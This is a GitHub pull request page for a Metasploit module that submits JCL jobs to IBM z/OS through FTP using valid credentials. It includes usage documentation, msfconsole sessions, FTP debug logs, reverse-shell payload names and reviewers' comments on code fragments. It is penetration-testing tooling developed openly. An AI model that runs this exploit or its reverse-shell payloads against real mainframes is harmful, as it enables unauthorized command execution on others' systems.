New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Authorized FTP JCL exploit for z/OS #6834

Merged
merged 1 commit into from May 14, 2016

Conversation

Projects
None yet
6 participants
@bigendiansmalls
Contributor

bigendiansmalls commented Apr 29, 2016

z/OS FTP server on the mainframe can be configured (and often is by default) to allow JCL script execution with nothing more that a set of credentials, authorized to use FTP.

This exploit module does that. It uses existing credentials for a z/OS system and attempts to upload JCL which can than, for example, execute a reverse shell payload.

Verification

$ ./msfconsole -q -x 'use exploit/mainframe/ftp/ftp_jcl_creds; info -d'
[*] Please wait, generating documentation for ftp_jcl_creds
msf exploit(ftp_jcl_creds) >

This should open a browser on your local machine.
Clicking on Knowledge Base will generate an extended validation/usage instructions page, listed below:


image

z/OS JCL authorized FTP-base command execution - hints & tips

In order to use this exploit, you must have valid credentials on the target z/OS system. The credentials must have access to upload files via FTP. If in doubt, use the check function of the exploit.

Vulnerable Application

This exploit was tested on the ftp daemons for z/OS version 1.13 / 2.1

Payloads

If the exploit works, any JCL the user has rights to submit can be submitted.

See cmd type payloads under mainframe with jcl in the payload name, e.g.:

msf exploit(ftp_jcl_creds) > show payloads

Compatible Payloads
===================

   Name                             Disclosure Date  Rank    Description
   ----                             ---------------  ----    -----------
   cmd/mainframe/generic_jcl                         normal  Generic JCL Test for Mainframe Exploits
   cmd/mainframe/reverse_shell_jcl                   normal  Z/OS (MVS) Command Shell, Reverse TCP

Verification Steps

A successful check of the exploit will look like this:

msf exploit(ftp_jcl_creds) > set FTPUSER ftptest
FTPUSER => ftptest
msf exploit(ftp_jcl_creds) > set FTPPASS password
FTPPASS => password
msf exploit(ftp_jcl_creds) > set RHOST 10.10.10.1
RHOST => 10.10.10.1
msf exploit(ftp_jcl_creds) > info

       Name: FTP JCL Execution
     Module: exploit/mainframe/ftp/ftp_jcl_creds
   Platform: Mainframe
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-05-12

Available targets:
  Id  Name
  --  ----
  0   auto

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  FTPPASS  password         no        The password for the specified username
  FTPUSER  ftptest          no        The username to authenticate as
  RHOST    10.10.10.1     yes       The target address
  RPORT    21               yes       The target port
  SLEEP    5                no        Time to wait before checking if job has completed.

Payload information:

Description:
  Submit JCL to z/OS via FTP and SITE FILE=JES. This exploit requires
  valid credentials on the target system

msf exploit(ftp_jcl_creds) > check

[+] 10.10.10.1:21 - Successfully connected to FTP server.
[*] 10.10.10.1:21 - Found IBM z/OS Banner and JES commands accepted
[+] The target is vulnerable.
msf exploit(ftp_jcl_creds) >

Debugging

If the exploit or check is not working, turn on the VERBOSE and FTPDEBUG settings of the exploit and run.
The output should look similar to the below, on a vulnerable system.

msf exploit(ftp_jcl_creds) > set FTPDEBUG true
FTPDEBUG => true
msf exploit(ftp_jcl_creds) > set VERBOSE true
VERBOSE => true
msf exploit(ftp_jcl_creds) > check

[*] 10.10.10.1:21 - Connecting to FTP server 10.10.10.1:21...
[*] 10.10.10.1:21 - FTP recv: "220-FTPD1 IBM FTP CS V2R1 at ZOS.EXAMPLE.COM, 16:52:31 on 2016-04-27.\r\n220 Connection will close if idle for more than 5 minutes.\r\n"
[*] 10.10.10.1:21 - Connected to target FTP server.
[*] 10.10.10.1:21 - Authenticating as ftptest with password password...
[*] 10.10.10.1:21 - FTP send: "USER ftptest\r\n"
[*] 10.10.10.1:21 - FTP recv: "331 Send password please.\r\n"
[*] 10.10.10.1:21 - Sending password...
[*] 10.10.10.1:21 - FTP send: "PASS password\r\n"
[*] 10.10.10.1:21 - FTP recv: "230 FTPTEST is logged on.  Working directory is \"FTPTEST.\".\r\n"
[+] 10.10.10.1:21 - Successfully connected to FTP server.
[*] 10.10.10.1:21 - FTP send: "site file=jes\r\n"
[*] 10.10.10.1:21 - FTP recv: "200 SITE command was accepted\r\n"
[*] 10.10.10.1:21 - Found IBM z/OS Banner and JES commands accepted
[+] The target is vulnerable.
msf exploit(ftp_jcl_creds) >

Notes

The job run will leave a joblog for the credentials used.


@bcook-r7 bcook-r7 self-assigned this May 2, 2016

@bigendiansmalls

This comment has been minimized.

Contributor

bigendiansmalls commented May 11, 2016

Hey @bcook-r7 anything this needs to be finalized? Let me know. Thanks!

@bcook-r7

This comment has been minimized.

Contributor

bcook-r7 commented May 11, 2016

Hi @bigendiansmalls. Will do, just haven't had a chance to get a good look yet.

else
print_good("Successfully connected to FTP server.")
end
test_jes = send_cmd( ['site', 'file=jes'] )

This comment has been minimized.

@busterb

busterb May 12, 2016

Contributor

please don't put spaces between parenthesis and arguments (see the rest of the file)

'DisclosureDate' => 'May 12 2013',
'DisableNops' => 'true',
'Targets' => [[ 'auto',{} ],],
'DefaultTarget' => 0))

This comment has been minimized.

@bcook-r7

bcook-r7 May 12, 2016

Contributor

Targets is specified twice here. There are some spacing problems here too.

This comment has been minimized.

@bigendiansmalls

bigendiansmalls May 12, 2016

Contributor

Cheers. Is there a best practice / style guide for spacing? I feel like I've seen it but cannot recall where.

# Connect to get the FTP banner and check target OS
##
res = connect_login
if not res

This comment has been minimized.

@bcook-r7

bcook-r7 May 12, 2016

Contributor

prefer C-style logical operators, if !res

Same goes for 'and' and 'or' - prefer && and ||

end
##
#Return the Safe flag if system is not exploitable

This comment has been minimized.

@bcook-r7

bcook-r7 May 12, 2016

Contributor

add some space here

case banner
when /IBM FTP CS V.R./
case test_jes
when /200 SITE command was accepted/

This comment has been minimized.

@bcook-r7

bcook-r7 May 12, 2016

Contributor

should you just match on 200 SITE, since the rest of it is intended to be human readable messages? Does this ever get localized depending on the server language?

jcl_file_name = "#{Rex::Text.rand_text_alpha(8).upcase}"
print_status("Uploading JCL file: #{jcl_file_name}")
res = send_cmd_data(['put',jcl_file_name],pl )

This comment has been minimized.

@bcook-r7

bcook-r7 May 12, 2016

Contributor

spaces after commas, but not next to parenthesis

@bcook-r7

This comment has been minimized.

Contributor

bcook-r7 commented May 12, 2016

I made a few comments - mostly the double 'Target' section of the metadata needs to be fixed, along with some other minor cleanups.

@bigendiansmalls

This comment has been minimized.

Contributor

bigendiansmalls commented May 12, 2016

Got it thank you! I'll get on it.

@bcook-r7

This comment has been minimized.

Contributor

bcook-r7 commented May 12, 2016

I would suggest trying out 'rubocop' and running it against your module. I usually try to get modules down to < 10 warnings. We try not to be too extreme about rubocop adherence, since there is a lot of code in the tree that predates Ruby having much of a style guide, but it will alert about a lot of common ruby style issues. It is possible to have rubocop have 0 alerts without a lot of trouble on new code!

@bigendiansmalls

This comment has been minimized.

Contributor

bigendiansmalls commented May 12, 2016

@bigendiansmalls bigendiansmalls force-pushed the bigendiansmalls:ftp-exploit branch from 5911dc4 to ab6e606 May 12, 2016

Authorized FTP JCL exploit for z/OS
This exploit module allows a user with credentials to execute JCL on a
vulnerable mainframe system running z/OS and an appropriately configured
FTP server.

@bigendiansmalls bigendiansmalls force-pushed the bigendiansmalls:ftp-exploit branch from ab6e606 to 2d5cf6c May 12, 2016

@bigendiansmalls

This comment has been minimized.

Contributor

bigendiansmalls commented May 12, 2016

ok @bcook-r7 Should be clean n' tidy. Let me know.

@bcook-r7

This comment has been minimized.

Contributor

bcook-r7 commented May 14, 2016

When exploiting a non-compliant FTP server, we should not assume that res has a lines value. Here I fuzzed a little with nc -lk 21

[*] 127.0.0.1:21 - Connecting to FTP server 127.0.0.1:21...
[*] 127.0.0.1:21 - FTP recv: "200 SITE\r\n"
[*] 127.0.0.1:21 - Connected to target FTP server.
[*] 127.0.0.1:21 - Authenticating as anonymous with password mozilla@example.com...
[*] 127.0.0.1:21 - FTP send: "USER anonymous\r\n"
[*] 127.0.0.1:21 - FTP recv: "200 PASS\r\n"
[*] 127.0.0.1:21 - Sending password...
[*] 127.0.0.1:21 - FTP send: "PASS mozilla@example.com\r\n"
[*] 127.0.0.1:21 - FTP recv: "200 OK\r\n"
[+] 127.0.0.1:21 - Successfully connected to FTP server.
[*] 127.0.0.1:21 - FTP send: "site file=jes\r\n"
[*] 127.0.0.1:21 - FTP recv: "200 SITE\r\n"
[*] 127.0.0.1:21 - Successfully switched to JES mode
[*] 127.0.0.1:21 - Uploading JCL file: XKNZMVUK
[*] 127.0.0.1:21 - FTP send: "TYPE a\r\n"
[*] 127.0.0.1:21 - FTP recv: "200 OK\r\n"
[*] 127.0.0.1:21 - FTP send: "PASV\r\n"
[*] 127.0.0.1:21 - FTP recv: "200 OK\r\n"
[-] 127.0.0.1:21 - Exploit failed: NoMethodError undefined method `lines' for nil:NilClass
[*] Exploit completed, but no session was created.

@bcook-r7 bcook-r7 merged commit 2d5cf6c into rapid7:master May 14, 2016

1 check passed

continuous-integration/travis-ci/pr The Travis CI build passed
Details

bcook-r7 added a commit that referenced this pull request May 14, 2016

@bcook-r7

This comment has been minimized.

Contributor

bcook-r7 commented May 14, 2016

made this minor change to handle failure more gracefully: 5c49448

@bigendiansmalls

This comment has been minimized.

Contributor

bigendiansmalls commented May 14, 2016

@tdoan-r7

This comment has been minimized.

Contributor

tdoan-r7 commented May 17, 2016

Awesome module docs!

@bigendiansmalls

This comment has been minimized.

Contributor

bigendiansmalls commented May 17, 2016

@tdoan-r7 thanks! @bcook-r7 showed me the way on this one - it's a super nice way to add some deeper doco.

@bigendiansmalls bigendiansmalls deleted the bigendiansmalls:ftp-exploit branch May 17, 2016

job_num = res.lines.first.split.last
print_good("Job Submitted. Job number is #{job_num}")
handler

This comment has been minimized.

@wvu-r7

wvu-r7 May 24, 2016

Contributor

Next time, you shouldn't need to invoke handler manually.

This comment has been minimized.

@bcook-r7

bcook-r7 May 24, 2016

Contributor

Thanks @wvu-r7 . I didn't notice this.

This comment has been minimized.

@wvu-r7

wvu-r7 May 24, 2016

Contributor

No worries, mate. Hysterical raisins. :)

@bigendiansmalls

This comment has been minimized.

Contributor

bigendiansmalls commented May 24, 2016

@wvu-r7 so handler is implied? My miss - thanks for catching !!

@wvu-r7

This comment has been minimized.

Contributor

wvu-r7 commented May 24, 2016

@bigendiansmalls: It's not obvious!

@tdoan-r7

This comment has been minimized.

Contributor

tdoan-r7 commented Jun 14, 2016

Release Notes

JCL exploit for z/OS - Remember those JCL payloads we added a couple of months ago for z/OS? Here is the first exploit that you can use to deliver those JCL payloads. This module targets FTP servers on z/OS systems; it submits a JCL job via FTP to exploit the target. To use this exploit, you'll need to have valid credentials.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment